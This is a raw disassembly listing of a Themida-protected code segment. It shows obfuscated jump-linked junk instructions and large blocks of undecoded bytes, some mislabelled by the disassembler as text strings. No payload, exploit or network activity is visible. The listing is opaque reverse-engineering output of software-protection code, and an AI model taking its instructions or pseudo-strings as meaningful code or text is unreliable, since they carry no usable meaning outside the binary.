		add	edi, 0FFFFFFFFh
		jmp	loc_5486D3
; ---------------------------------------------------------------------------
		dw 0E95Ah
		dd 5C1h, 0E404F000h, 1224E9h, 8EBC100h,	1C73E9h, 23426800h
		dd 34890000h, 17D3BE24h, 72E974C5h, 5100008Ch, 42474FFh
		dd 81240C8Bh, 4C4h, 2F2BE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548CBE:				; CODE XREF: Themida_:0054947Ej
		mov	[esp], ebx
		mov	ebx, 3971070h
		push	eax
		mov	eax, 0F7E5E19Dh
		add	ebx, 203B5774h
		sub	ebx, eax
		sub	ebx, 203B5774h
		pop	eax
		xor	edx, ebx
		jmp	loc_54CAD5
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 13166004h, 2C8BEE31h, 4C48324h, 0FFB620E9h, 7E84BBFFh
		dd 5C294062h, 1C8B0824h, 4C48124h, 58000000h, 0AEFCE95Bh
		dd 0E9580000h, 0FFFFE59Bh, 89240489h, 405E0h, 0E8830000h
		dd 2A17E904h, 4890000h,	4EC8124h, 89000000h, 37682414h
		dd 5A772F4Eh, 8107EAC1h, 382FAAEAh, 0C067E983h,	0F889FFFFh
		dd 0B5EF815Fh, 1493D77h, 0B5C781C7h, 58493D77h,	1947CF81h
		dd 0E95144CDh, 2DE5h, 0E9241489h, 2471h, 4EC815Ch, 89000000h
		dd 0BA682414h, 0E97CA043h, 8298h, 44B5E281h, 0F2812A64h
		dd 9D38D42Fh, 895AD129h, 5EE959CEh, 88000091h, 88D7F6F7h
		dd 0CEFE5BFEh, 62E3E9h,	0EBEA8100h, 813FAB46h, 9F0CE4EFh
		dd 81D70136h, 9F0CE4C7h, 0B095E936h, 0EC86FFFFh, 0FFA413E9h
		dd 48B66FFh, 73A96824h,	0E1E90000h, 81FFFFBDh, 0D51E04F7h
		dd 10E7814Ah, 81069F4Eh, 27484AE7h, 4FEF811Fh, 4799D633h
		dd 0E781D7F7h, 6B517526h, 0BB68EFD1h, 8900002Fh, 68532404h
		dd 30E54C89h, 0F3CB815Bh, 0C146A568h, 0F38102E3h, 5C0C51B2h
		dd 12DCEB81h, 0D8898942h, 58C7015Bh, 1F38EA81h,	0FA0143E1h
		dd 0FBD5550h, 5728F96Eh, 0B95AF1BFh, 5FFD214Bh,	0E581EDD1h
		dd 7ECB3655h, 0FB38C581h, 7BE93F98h, 5BFFFFD2h,	15FFB01h
		dd 0B9BD55CBh, 81540B7Bh, 1C77EBEDh, 0B7EB8120h, 0E946A634h
		dd 0FFFFE426h, 572FB850h, 0E0C1455Dh, 704BE903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548E76:				; CODE XREF: Themida_:0055458Aj
		mov	[esp], ax
		mov	al, 2Fh
		xor	dh, al
		jmp	loc_552E9E
; ---------------------------------------------------------------------------
		db 2Ch
		dd 58C32852h, 0E9C9C380h, 185Ch, 2BEh, 8BCCE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548E9A:				; CODE XREF: Themida_:0054C832j
		or	edx, 2BD4184Eh
		xor	edx, 0AFFE7A6Bh
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	5FF4h
		mov	[esp], ebx
		push	edi
		push	3ED2308Ch
		mov	edi, [esp]
		jmp	loc_5483B6
; ---------------------------------------------------------------------------
		db 0BDh, 0CBh, 0Bh
		dd 814D458Fh, 0D310B3EDh, 0F1C5816Ah, 814AC04Bh, 0AE311C5h
		dd 5365E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548EE6:				; CODE XREF: Themida_:00544671j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55340B
; ---------------------------------------------------------------------------
		db 55h
		dd 242C8B58h, 4C481h, 0D5F70000h, 0E8C0E9h, 0C8B6600h
		dd 7EF06824h, 0C890000h, 34FF5424h, 240C8B24h, 5E08950h
		dd 4, 405h, 24048700h, 0F878E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54F148
; ---------------------------------------------------------------------------
		dw 0F380h
		dd 5BD80023h, 0FFA155E9h, 5EF301FFh, 5C241C87h,	555AC281h
		dd 0E95D6839h, 0CFEh, 52E95658h, 68FFFFD4h, 3C4Eh, 83242489h
		dd 0FF042404h, 0C8B2434h, 4C48124h, 83000000h, 0F1E904C4h
		dd 81FFFFFEh, 4ECh, 241C8900h, 9010A7BBh, 34815315h, 0D53C7024h
		dd 9FE95E1Ah, 0BDFFFFEFh, 67761A74h, 3FFC581h, 0E5C14ABDh
		dd 814D4D06h, 0EF16B2E5h, 5BF5812Ch, 17D6143h, 0F1295DE9h
		dd 57E9E981h, 34FF71A6h, 0C125E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_548FC2:				; CODE XREF: Themida_:0055729Dj
		and	eax, ebp
		jmp	loc_54EAB6
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 76h
		dd 81530A00h, 921BADC7h, 0B9515D10h, 2,	22EE9h,	241C8900h
		dd 81E28952h, 4C2h, 4B95100h, 29000000h, 3CE959CAh
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_548FFB:				; CODE XREF: Themida_:005480FEj
		pop	ebx
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_550C3F
; ---------------------------------------------------------------------------
aSVbarp69s6	db 'S»[/ÐVíRP69é6Ð',0
		dd 242C3300h, 0E564E9h,	81FA0100h, 5833B5C2h, 0E9565F1Ch
		dd 121Bh, 6807685Bh, 2C890000h,	6E87E924h, 0F72D0000h
		dd 5439E14h, 537C3F8Ah,	0D323E9h, 0B4F18100h, 0E9207B22h
		dd 0D85Ah, 8BF82158h, 0EC81243Ch, 4, 89241C89h,	4C381E3h
		dd 81000000h, 4C3h, 74FF5300h, 0CAE90424h, 330000D4h, 0E95C2404h
		dd 0FFFFE95Bh, 68242C8Bh, 7B5Ah, 60D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_54909D:				; CODE XREF: Themida_:0054A086j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	3A8Dh
		mov	[esp], ecx
		push	2769h
		jmp	loc_54AE6D
; ---------------------------------------------------------------------------
		db 1, 44h, 24h
		dd 2D32E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5490C2:				; CODE XREF: Themida_:0054AA83j
		add	ebx, 5EC2127Eh
		add	ebx, eax
		sub	ebx, 5EC2127Eh
		add	ebx, 3CBC7275h
		push	ecx
		push	edx
		push	22407C0Bh
		pop	edx
		jmp	loc_553B12
; ---------------------------------------------------------------------------
		db 81h
		dd 0A21242Ch, 0E95F7A6Ch, 0FFFFD3B9h, 0B6241489h, 80E680BFh
		dd 0E6D0CEFEh, 0C01CC680h, 0BCE906EEh, 8B0000D6h, 0C481240Ch
		dd 4, 0C421E9h,	81D3F700h, 96E42BEBh, 5BD9899Ah, 0FCE9CE29h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549127:				; CODE XREF: Themida_:00553F7Aj
		pop	ecx
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		sub	esp, 4
		jmp	loc_54D4E6
; ---------------------------------------------------------------------------


loc_549139:				; CODE XREF: Themida_:00543BCDj
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ecx, 5B653D55h
		pop	esi
		jmp	loc_54744B
; ---------------------------------------------------------------------------
		dd 0C3BAE981h, 0E1C11E0Dh, 0A60FE902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549166:				; CODE XREF: Themida_:00545E3Dj
		add	esp, 4
		jmp	loc_5510D0
; ---------------------------------------------------------------------------
		db 0B8h, 13h, 5Ch
		dd 613501B1h, 5422F5Bh,	0BC61F892h, 0BEE9C601h
		db 0BBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_549187:				; CODE XREF: Themida_:00551E5Bj
		pop	esp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	ebp
		mov	ebp, 302209DBh
		add	ebp, 1
		dec	ebp
		sub	ebp, 671A5E58h
		push	edi
		jmp	loc_547CDA
; ---------------------------------------------------------------------------
		db 81h
		dd 5A23E6C3h, 0C3815D49h, 0CBDE554Fh, 685BDA21h, 1CE8h
		dd 56240489h, 260FD5BEh, 3B97E91Dh, 89660000h, 3AE92414h
		dd 0B2FFFFDAh, 0E9D528C4h, 8FC0h, 4EC8349h, 0BE243489h
		dd 2F9A24A8h, 348BF109h, 4C48324h, 7EFEF181h, 0CB01BFDBh
		dd 0F623E959h, 0C35CFFFFh, 0FF9507E9h, 2EEC0FFh, 6BE9E6D0h
		dd 1FFFFF3h, 3C3359CFh,	243C3124h, 8B243C33h, 0F662424h
		dd 3B68C8BEh, 0E9000079h, 90F8h, 0E1C006B1h, 10F18003h
		dd 8059CF20h, 51E9FFC7h, 0BBFFFFC7h, 0
		dd 0FFB21BE9h, 4ED83FFh, 2474FF55h, 48F5D04h, 6CE95C24h
		dd 52000029h, 0C281E289h, 4, 4B850h, 0C2290000h, 24148758h
		dd 2434895Ch, 0C74610BEh, 1C6BE97Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54927E:				; CODE XREF: Themida_:0054D203j
		pop	dx
		push	ebx
		push	edx
		mov	dl, ah
		push	eax
		mov	al, dl
		mov	bl, al
		jmp	loc_553D0E
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 81240C8Bh, 4C4h, 24148B00h, 4C481h, 0D8290000h, 4EC8352h
		dd 0BE243489h, 5B230975h, 348BF289h, 4C48324h, 0FFE673E9h
		dd 51C201FFh, 0B7871B9h, 59CA2910h, 0E924048Bh,	0FFFFB666h
; ---------------------------------------------------------------------------


loc_5492D0:				; CODE XREF: Themida_:00544767j
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_5548BE
; ---------------------------------------------------------------------------
		dd 0E95AD001h, 0FFFFDDCDh
; ---------------------------------------------------------------------------


loc_549304:				; CODE XREF: Themida_:0054D4E1j
		and	esi, 4EFB0B69h
		not	esi
		inc	esi
		add	esi, 5BCB2051h
		jmp	loc_5574DB
; ---------------------------------------------------------------------------
		dd 0B03EE95Ah, 0C483FFFFh, 6FBF5704h, 81519325h, 7C7397F7h
		dd 7194E973h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_549332:				; CODE XREF: Themida_:0054C940j
		inc	edx
		neg	edx
		dec	edx
		sub	edx, 26B77D4Ah
		mov	edi, edx
		pop	edx
		sub	edi, 598E5F13h
		sub	ebp, 1E27C45h
		add	ebp, edi
		add	ebp, 1E27C45h
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	eax, 661C5E2Fh
		push	edx
		mov	edx, 1F243312h
		shr	edx, 7
		inc	edx
		add	edx, 0FFFFFFFFh
		push	60FCh
		mov	[esp], eax
		jmp	loc_554D8F
; ---------------------------------------------------------------------------
		dd 8BEB8958h, 0C481242Ch, 4, 0FDE9D801h, 330000C1h, 685C2434h
		dd 16E9h, 4C6CE9h, 4B800h, 0C5810000h, 9074C92h, 0ED81C501h
		dd 9074C92h, 242C3358h,	0E9242C31h, 4C91h, 2434895Ch, 9B9CE9h
		dd 81DA0100h, 6A1540EAh, 0DDC28110h, 8B3C7665h,	0C483241Ch
		dd 4B85004h, 0E9000000h, 43C8h,	1840E381h, 0E3C1248Fh
		dd 1BCB8107h, 8166726Bh, 74081AC3h, 5BD901D1h, 3BA3F181h
		dd 0E9817AA3h, 32882625h, 54CEC181h, 0CD0162B1h, 74FF5559h
		dd 8F5D0424h, 248B2404h, 2434FF24h, 582434FFh, 0E904EC83h
		dd 0FFFFD436h, 4C481h, 1C8B0000h, 4C48124h, 0E9000000h
		dd 0DDDEh
; ---------------------------------------------------------------------------


loc_549444:				; CODE XREF: Themida_:00545480j
		mov	eax, 4
		add	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		pop	esp
		shr	ecx, 6
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_54D418
; ---------------------------------------------------------------------------


loc_549463:				; CODE XREF: Themida_:0054F576j
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_555DF6
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 24h
		dd 0E93F2F18h, 0FFFFB5D9h
; ---------------------------------------------------------------------------


loc_549478:				; CODE XREF: Themida_:00547A82j
		sub	esp, 4
		jmp	loc_548CBE
; ---------------------------------------------------------------------------
		db 87h
		dd 0E95C2404h, 0FFFF97C2h, 6ADE68h, 24348900h, 42474FFh
		dd 0FFEFCBE9h, 0E9555DFFh, 9A41h
; ---------------------------------------------------------------------------


loc_5494A4:				; CODE XREF: Themida_:005551A4j
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54D578
; ---------------------------------------------------------------------------
		dd 7F7BA52h, 85E90F3Fh,	8B000096h, 54552404h, 4EC835Dh
		dd 0E9243C89h, 1D39h, 0FFCB0158h, 56592434h, 0C681E689h
		dd 4, 4C681h, 34870000h, 0E631E924h, 54F60000h,	5A660124h
		dd 0D6F6C6FEh, 5C865266h, 0C3FE0124h, 1245C86h,	24148B66h
		dd 8002C483h, 0E6C07BCEh, 0BCEE8005h, 34FFF030h, 5563E924h
		dd 6F2D0000h, 4000717Ch, 5104E8C1h, 84753DB9h, 0E9C8317Fh
		dd 7621h, 0E9242C8Bh, 0FFFFD2D0h, 3538E955h, 0DCB80000h
		dd 523CCE18h, 1578CCBAh, 0D414E955h, 0ED81FFFFh, 383C71AEh
		dd 81243C8Bh, 4C4h, 0F251E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549572:				; CODE XREF: Themida_:00551F22j
		xor	ebp, edi
		pop	edi
		mov	ebx, ebp
		jmp	loc_548C18
; ---------------------------------------------------------------------------
		dd 4B8h, 58C70100h, 0E9243C87h,	811Ch, 0F84E85BBh, 0A7C38174h
		dd 1BA9CD6h, 241C8BD8h,	4C481h,	0C7010000h, 68C70158h
		dd 6FEBh, 0BB241C89h, 47D75897h, 0EB87DBF7h, 24048755h
		dd 40E9D0F7h, 500000E5h, 363E6FB8h, 6CBB5378h, 0E92EEB0Eh
		dd 7FB0h, 642AC581h, 0E94532D2h, 0FFFFF4B0h
; ---------------------------------------------------------------------------


loc_5495E0:				; CODE XREF: Themida_:005546D6j
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		jmp	loc_5459DF
; ---------------------------------------------------------------------------
aZSqx		db '‡<$\éŸX',0
		dw 8300h
		dd 148904ECh, 63816824h, 3DE975A0h
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54DB58
; ---------------------------------------------------------------------------


loc_54961A:				; CODE XREF: Themida_:005505AAj
		push	eax
		mov	eax, 6D192385h
		add	edi, 41551092h
		jmp	loc_55658E
; ---------------------------------------------------------------------------
		db 89h
		dd 0E952243Ch, 0C6F9h
; ---------------------------------------------------------------------------


loc_549634:				; CODE XREF: Themida_:00555F2Fj
		shl	edx, 1
		push	492Eh
		jmp	loc_54C29C
; ---------------------------------------------------------------------------
		dd 9C2404FEh, 0FF90C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549649:				; CODE XREF: Themida_:00546619j
		cmp	eax, edx
		jmp	loc_54C945
; ---------------------------------------------------------------------------
		dd 442403B0h, 0FF9E34E9h, 0C38159FFh, 2, 2474FF53h, 5E95B04h
		db 0AAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54966B:				; CODE XREF: Themida_:0054D039j
		shr	ah, 5
		dec	ah
		shr	ah, 8
		add	ah, 0D5h
		jmp	loc_548B2F
; ---------------------------------------------------------------------------


loc_54967B:				; CODE XREF: Themida_:005468FBj
		mov	esi, 2D9D48EEh
		and	esi, 71051DF8h
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_54B5DE
; ---------------------------------------------------------------------------
		db 81h
		dd 7C3F6FEDh, 5A55526Ch, 0E2815D5Dh, 2A677EF1h,	81D2F742h
		dd 98D759F2h, 5AD329F5h, 31241C33h, 0BAE9241Ch,	81000059h
		dd 4C0569C6h, 81CE294Bh, 4C0569EEh, 0C405594Bh,	5176D805h
		dd 0BD0C83B9h, 0DAE98176h, 0E9347BBBh, 44E5h
; ---------------------------------------------------------------------------


loc_5496E8:				; CODE XREF: Themida_:0054A51Cj
		add	ebp, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5475D2
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 8521E9h, 471D6800h, 1C890000h, 4BB24h, 0E9810000h, 39E33835h
		dd 0C181D901h, 39E33835h, 9762E9h, 4307BA00h, 0D2F74CAFh
		dd 0BCF6EA81h, 0D301B350h, 0F6BE9h
		db 0
; ---------------------------------------------------------------------------


loc_549731:				; CODE XREF: Themida_:0054F0EFj
		pop	edx
		add	edx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_548A89
; ---------------------------------------------------------------------------
		db 80h
		dd 0F78057EFh, 4872C6Eh, 2CF82823h, 0E9870423h,	0FFFF9A7Ah
; ---------------------------------------------------------------------------


loc_549758:				; CODE XREF: Themida_:0054FE44j
		pop	ebx
		neg	cl
		sub	cl, 2Ah
		add	cl, 1
		shr	cl, 2
		xor	cl, 0EDh
		dec	cl
		push	ebx
		jmp	loc_5525E2
; ---------------------------------------------------------------------------
		db 59h
		dd 0D62FEB81h, 0D889ED92h, 8B2434FFh, 0C481241Ch, 4, 0E904C483h
		dd 9E20h, 8B5AF588h, 89522404h,	4C281E2h, 81000000h, 4C2h
		dd 24148700h, 247C8A5Ch, 246C8804h, 0C7305904h,	0C730F830h
		dd 2EC81h, 89660000h, 68662404h, 10E90D94h, 5E000045h
		dd 240C875Fh, 24148B5Ch, 527668h, 243C8900h, 4EC81h, 8F540000h
		dd 0B9512404h, 4, 4244C01h, 0BA525F59h,	767A26B3h, 5E4D68h
		dd 241C8900h, 0BBh, 7CC38100h, 0E94D7452h, 54BAh, 335AD601h
		dd 34312434h, 24343324h, 0E924248Bh, 222Dh, 240C8B66h
		dd 4EC81h, 4890000h, 4EC8124h, 89000000h, 4812424h, 424h
		dd 51565800h, 0C428C1B9h, 0EEC1E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54984A:				; CODE XREF: Themida_:00545380j
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5467C3
; ---------------------------------------------------------------------------


loc_549853:				; CODE XREF: Themida_:00547772j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	0EDCh
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_54D8E4
; ---------------------------------------------------------------------------
		db 59h
		dd 2E9D6F6h, 81000064h,	0F1232E9h, 7DA82D0Ah, 0C829720Dh
		dd 0D7DA805h, 240C8B72h, 4C481h, 0BE560000h, 4F12ACCh
		dd 37B95146h, 310A377Ah, 0BA01E9CEh, 48F0000h, 5C1DE924h
		dd 0E8290000h, 2F06B72Dh, 4E21E905h, 814D0000h,	896EAAF5h
		dd 3EBA5260h, 0E97B1512h, 0FFFFCFAFh, 0E904C483h, 790Bh
		dd 0AB2447B9h, 49E5E96Bh, 68500000h, 13140E65h,	5484058h
		dd 0FFFFFFFFh, 140E2435h, 58C18913h, 0FFDA7EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_549905:				; CODE XREF: Themida_:00543AFFj
		mov	edx, [esp]
		jmp	loc_545C02
; ---------------------------------------------------------------------------
		db 68h,	0E7h, 6Fh
		dd 24890000h, 24048324h, 24048B04h, 0E9E08950h,	0D01Eh
		dd 0DEA1E958h, 34310000h, 0FA61E924h, 7568FFFFh, 89000026h
		dd 50E9242Ch
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54993F:				; CODE XREF: Themida_:0054CBF2j
		add	eax, 4
		push	edi
		jmp	loc_54310C
; ---------------------------------------------------------------------------
		dw 0C981h
		dd 4D336170h, 6FDCC181h, 5FE97FAFh
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54995B:				; CODE XREF: Themida_:00544EDDj
		xor	eax, ecx
		mov	ecx, [esp]
		push	27E8h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_556AE8
; ---------------------------------------------------------------------------
		dw 0D2F7h
aB_0		db 'ê¼)',0
		db 7Fh,	81h, 0C2h
		dd 0FB47547Ch, 8DC9E957h, 5E520000h, 7EE815Ah, 1844894h
		dd 0BA525EF5h, 2, 3EF7C581h, 0D5011FFBh, 3EF7B951h, 0CD291FFBh
		dd 2C875A59h, 85665C24h, 87E99CC8h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5499BF:				; CODE XREF: Themida_:0054311Aj
		shl	edi, 1
		neg	edi
		xor	edi, 38382F2Ch
		add	edi, 0AE747BD8h
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		push	9B7h
		mov	[esp], eax
		mov	eax, esp
		sub	esp, 4
		jmp	loc_544501
; ---------------------------------------------------------------------------
		db 83h
		dd 0F10504C4h, 0E966990Ch, 0DC32h
; ---------------------------------------------------------------------------


loc_5499F8:				; CODE XREF: Themida_:0054FA03j
		sub	eax, ebp
		mov	ebp, [esp]
		jmp	loc_551381
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 241C8B24h, 4C481h, 89560000h, 50E953E6h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549A17:				; CODE XREF: Themida_:0054A6C7j
		push	esp
		jmp	loc_54E4A2
; ---------------------------------------------------------------------------


loc_549A1D:				; CODE XREF: Themida_:00550913j
		push	edi
		mov	edi, 662E394Ch
		neg	edi
		xor	edi, 99D1C6B0h
		sub	esi, edi
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_544737
; ---------------------------------------------------------------------------
		dd 4BD55h, 0C2810000h, 71992F45h, 0EA81EA01h, 71992F45h
		dd 57E4E95Dh, 0E6890000h, 4C681h, 0EE810000h, 4, 5C243487h
		dd 237FE9h, 8C9AE900h, 8B66FFFFh, 0F0682404h, 89000041h
		dd 5E542434h, 63F9E9h
		db 0
; ---------------------------------------------------------------------------


loc_549A85:				; CODE XREF: Themida_:00550CC0j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		push	519858BEh
		pop	edi
		jmp	loc_545ABD
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 3A7Bh, 54240C89h,	0E9240C8Bh, 0FFFF8C97h
		dd 8B243C33h, 0A30F2424h, 0E99C2404h, 0FFFF8C4Ch, 57384EBEh
		dd 5EF58922h, 565DEF09h, 7C0461BEh, 0E9F72907h,	5DC1h
; ---------------------------------------------------------------------------


loc_549AD8:				; CODE XREF: Themida_:0054D476j
		sub	ebp, 4
		jmp	loc_5441B2
; ---------------------------------------------------------------------------
		dd 0C158C589h, 0CD8104EDh, 70E717E9h, 0AC11E9h,	52E78900h
		dd 8430C6BAh, 0A8C2815Dh, 81DC25D5h, 83408BCAh,	0F29BE937h
		dd 0FA87FFFFh, 0DBF7D387h, 0E9D3F74Bh, 0A824h
; ---------------------------------------------------------------------------


loc_549B18:				; CODE XREF: Themida_:00554835j
		pop	ebp
		add	ebx, eax
		jmp	loc_554196
; ---------------------------------------------------------------------------


loc_549B20:				; CODE XREF: Themida_:005558DAj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 416730AAh
		shl	esi, 1
		shr	esi, 4
		jmp	loc_54F570
; ---------------------------------------------------------------------------
aQsf		db 'Qé”)',0
		dw 8300h
		dd 0E95004C4h, 0D229h, 2C381h, 1C870000h, 68665C24h, 896663CAh
		dd 0B3E9242Ch
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549B77:				; CODE XREF: Themida_:0054375Aj
		add	ebx, ebp
		add	ebx, 3F173E1Eh
		pop	ebp
		jmp	loc_553E9C
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 6Ch
		dd 8108812Ch, 0A13FFAC5h, 81FD011Dh, 0A13FFAEDh, 243C8B1Dh
		dd 3304C483h, 2C31242Ch, 242C3324h, 0E924248Bh,	0FFFF95CAh
		dd 24740158h, 1BB95104h, 0E92C9D2Dh, 5D42h
; ---------------------------------------------------------------------------


loc_549BC0:				; CODE XREF: Themida_:00550A48j
		not	dword ptr [esp]
		pop	esi
		inc	esi
		shr	esi, 4
		xor	esi, 0E47EE6A2h
		jmp	loc_5578A3
; ---------------------------------------------------------------------------


loc_549BD3:				; CODE XREF: Themida_:005470E1j
		mov	al, 7Fh
		sub	al, 0C8h
		or	al, 22h
		push	ecx
		push	edx
		jmp	loc_55187F
; ---------------------------------------------------------------------------


loc_549BE0:				; CODE XREF: Themida_:0054DA9Aj
		mov	dh, ah
		mov	bl, dh
		pop	edx
		mov	cl, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55330F
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0EC815824h, 4, 54240489h, 0A4BCE9h, 0B8EF8000h, 80CDEF80h
		dd 0FA3009C7h, 52E9505Bh, 6600000Eh, 5724048Bh,	0C781E789h
		dd 4, 2C781h, 0DCE90000h, 80000028h, 8853ACC4h,	5BF988E7h
		dd 305E6858h, 1C890000h, 20CEB724h, 0B10EE9F9h,	0C9090000h
		dd 0F25D840Fh, 8B54FFFFh, 59E92434h, 660000A3h,	9C240431h
		dd 0FF8AA3E9h, 43D3F7FFh, 0A55EE9h, 4B85000h, 68000000h
		dd 1780h, 9A1FE9h
		db 0
; ---------------------------------------------------------------------------


loc_549C81:				; CODE XREF: Themida_:00552582j
		push	798Fh
		jmp	loc_54AA74
; ---------------------------------------------------------------------------
		db 0F6h
		dd 0BB2DE9D2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549C92:				; CODE XREF: Themida_:00557463j
		shr	ebx, 6
		jmp	loc_545659
; ---------------------------------------------------------------------------
		dw 0D2B9h
		dd 15FB3C7h, 815059C8h,	4ADA242Ch, 815B00A7h, 0A74ADAC3h
		dd 9BE95800h, 2CFFFFE4h, 0FFCF041Ch, 815B2434h,	4C4h, 0BF1AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549CCA:				; CODE XREF: Themida_:0054A9DAj
		pop	ebx
		jmp	loc_54270C
; ---------------------------------------------------------------------------
		dd 0C8BCA31h, 0E2895224h, 4C281h, 0BEE90000h, 80000066h
		dd 0B60F6DC3h, 8734FFC0h, 0FFE589E9h, 1C77FFFFh, 0D259669Dh
		dd 0E99C2414h, 1582h, 4B85052h,	0E9000000h, 0A7A8h
; ---------------------------------------------------------------------------


loc_549D0C:				; CODE XREF: Themida_:0054471Dj
		push	2EE2h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		mov	esi, 4
		mov	ebp, esi
		pop	esi
		push	edi
		mov	edi, 783C05F5h
		neg	edi
		neg	edi
		push	esi
		mov	esi, 65C82873h
		xor	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_547201
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D5F702E5h, 2D50CD81h, 0F58110F2h, 680D528Ch, 1890BF57h
		dd 5BE948ADh
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549D67:				; CODE XREF: Themida_:005571C7j
		mov	ebp, 767D6FCBh
		xor	ebp, 4364805h
		push	ecx
		push	esi
		mov	esi, 71480A77h
		inc	esi
		or	esi, 438A07FAh
		jmp	loc_555692
; ---------------------------------------------------------------------------
		db 1, 0FEh, 0E9h
		dd 9457h, 15FFD29h, 35C581DDh, 836D1B06h, 0D9E904ECh
		db 0EDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_549D9F:				; CODE XREF: Themida_:0054CAD7j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_54A7BB
; ---------------------------------------------------------------------------


loc_549DB9:				; CODE XREF: Themida_:00544B59j
		dec	ebp
		not	ebp
		shl	ebp, 2
		sub	ebp, 0F626DBC8h
		xor	ebx, ebp
		pop	ebp
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_54439F
; ---------------------------------------------------------------------------
		db 81h
		dd 0D2E92CFh, 1F78156h,	811DB64Eh, 6A5F81EFh, 4EC8352h
		dd 0BD242C89h, 14142253h, 815DEF01h, 920A81EEh,	81FE0162h
		dd 920A81C6h, 0DBE95F62h
		db 9Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_549E07:				; CODE XREF: Themida_:0055133Fj
